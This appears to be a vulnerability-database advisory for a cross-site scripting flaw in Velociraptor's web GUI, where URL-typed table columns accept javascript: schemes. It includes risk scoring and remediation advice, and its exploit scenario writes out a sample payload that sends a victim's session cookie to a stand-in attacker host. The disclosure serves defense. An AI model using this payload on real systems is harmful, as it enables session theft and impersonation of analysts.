DescriptionCVE.org

Velociraptor's web GUI allows specifying a custom type for columns in tables. The URL type takes the cell value and forms a URL which can be clicked in the GUI.The code does not limit the schemes allowed in this URL , allowing an attacker to specify a JavaScript scheme exposing the user to XSS.

AnalysisAI

Cross-site scripting in Velociraptor's web GUI arises from unsanitized URL scheme handling in URL-typed table columns, enabling a high-privileged attacker to inject javascript: URIs that execute when a second user clicks the crafted link in the console. The scope change (S:C) in the CVSS vector confirms the XSS crosses the application's security boundary into the victim's browser session, exposing session tokens and permitting authenticated actions on behalf of the victim. …

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold high-privileged access to Velociraptor (confirmed by PR:H in the CVSS vector) sufficient to influence data rendered in a URL-typed table column - either by configuring the column type directly or by controlling endpoint-sourced data that populates table cells. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 8.1 score is driven by the S:C scope change and C:H/I:H impact pair, but is materially tempered by PR:H and UI:R, which together significantly constrain real-world exploitability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with high-privileged Velociraptor access configures a URL-type column in a query result table and plants a cell value containing a javascript: URI - for example, javascript:fetch('https://attacker.example/?c='+document.cookie) - either by directly editing the configuration or by controlling endpoint data that populates the table. A second analyst viewing the table in the web GUI and clicking the hyperlink inadvertently triggers the script, exfiltrating their session cookie or executing authenticated actions within the Velociraptor console. …
Remediation Upgrade Velociraptor to the patched release identified in the vendor advisory at http://docs.velociraptor.app/announcements/advisories/cve-2026-15371/. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: audit Velociraptor server logs for exploitation attempts, identify all instances and versions in use, and notify high-privilege users of the risk. …
